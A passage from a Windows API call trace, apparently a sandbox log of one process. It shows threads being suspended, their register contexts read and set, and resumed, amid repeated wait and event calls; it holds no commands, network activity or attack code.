[21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0070.352] SetThreadContext (hThread=0x178, lpContext=0x92ffff1b0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000231d28, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x929580, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0070.384] ResumeThread (hThread=0x178) returned 0x1
	[0070.384] CloseHandle (hObject=0x178) returned 1
	[0070.384] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.406] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.446] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.460] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.714] SetEvent (hEvent=0x188) returned 1
	[0070.714] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.769] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.794] SetEvent (hEvent=0x17c) returned 1
	[0070.794] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.805] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.820] SetEvent (hEvent=0x17c) returned 1
	[0070.820] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.864] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.913] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.920] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.934] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0070.986] SetEvent (hEvent=0xe4) returned 1
	[0070.986] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0071.048] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0071.084] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0071.089] SetEvent (hEvent=0x188) returned 1
	[0071.089] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0071.107] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0071.161] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0071.177] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0071.216] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0071.216] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0071.567] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0071.568] SetEvent (hEvent=0xe4) returned 1
	[0071.568] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0071.621] SetEvent (hEvent=0x17c) returned 1
	[0071.621] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0071.696] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0071.987] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0072.053] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0072.098] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0072.174] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0072.257] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0072.313] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0072.313] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0
	[0074.043] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0074.169] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0074.404] SetEvent (hEvent=0x17c) returned 1
	[0074.404] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0074.470] SetEvent (hEvent=0xd4) returned 1
	[0074.470] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0074.637] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0075.023] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0075.130] SetEvent (hEvent=0xd4) returned 1
	[0075.130] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0075.244] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0075.345] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0075.426] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0075.504] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0075.691] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0075.775] SetEvent (hEvent=0xe4) returned 1
	[0075.775] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0075.814] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0075.912] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0075.959] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0075.979] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0076.014] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0076.069] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0076.111] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0076.161] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0076.424] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x92ffff198, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x92ffff198*=0x164) returned 1
	[0076.424] SuspendThread (hThread=0x164) returned 0x0
	[0076.424] GetThreadContext (in: hThread=0x164, lpContext=0x92ffff1b0 | out: lpContext=0x92ffff1b0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x9301ff6a8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7ffcea425ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0076.464] ResumeThread (hThread=0x164) returned 0x1
	[0076.464] CloseHandle (hObject=0x164) returned 1
	[0076.464] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0076.586] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0076.625] SetEvent (hEvent=0xe4) returned 1
	[0076.625] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0076.687] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0076.748] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0076.793] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0076.946] SetEvent (hEvent=0x188) returned 1
	[0076.946] SetEvent (hEvent=0xf0) returned 1
	[0076.946] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0076.989] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.041] SetEvent (hEvent=0xf0) returned 1
	[0077.041] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.088] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.127] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.174] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.212] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.250] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.287] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.324] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.364] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.400] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.479] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.514] SetEvent (hEvent=0x188) returned 1
	[0077.514] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x92ffff198, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x92ffff198*=0x164) returned 1
	[0077.514] SuspendThread (hThread=0x164) returned 0x0
	[0077.514] GetThreadContext (in: hThread=0x164, lpContext=0x92ffff1b0 | out: lpContext=0x92ffff1b0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x283, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0000316f0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x8cdf09, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, 